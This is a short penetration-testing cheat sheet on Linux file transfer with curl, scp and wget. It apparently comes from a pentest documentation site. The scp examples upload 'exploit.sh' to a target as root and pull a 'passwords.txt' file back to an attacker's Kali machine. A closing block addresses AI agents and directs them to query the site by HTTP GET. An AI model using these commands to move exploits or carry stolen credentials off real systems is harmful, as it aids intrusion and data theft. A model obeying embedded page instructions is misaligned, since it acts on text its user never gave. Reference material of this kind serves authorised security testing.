# File Transfer Techniques

## Curl

```bash
curl http://<IP/<File> --output /<Dir>/<File>
curl http://10.10.10.10./notes.txt --output /tmp/notes.txt
```

## SCP

Transfer file from attacking machine to remote host.

```bash
scp <File> <User>@<IP>:/<path>/<File>
scp exploit.sh root@10.10.10.10:/tmp/exploit.sh

# With key file
scp <File> -i <id_rsa> <User>@<IP>:/<path>/<File>
scp exploit.sh -i /home/id_rsa root@10.10.10.10:/tmp/exploit.sh
```

Download from remote host to local system

```bash
scp <User>@<IP>:/<Path>/<File> /<LocalPath>
scp root@10.10.10.10:/tmp/passwords.txt /home/kali/passwords.txt

# With Key File
scp -i <id_rsa> <User>@<IP>:/<Path>/<File> /<LocalPath>
scp -i id_rsa root@10.10.10.10:/tmp/passwords.txt /home/kali/passwords.txt
```

## Wget

```bash
wget http://<IP>/<File>
wget http://10.10.10.10/notes.txt
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viperone.gitbook.io/pentest-everything/everything/everything-linux/file-transfer-techniques.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
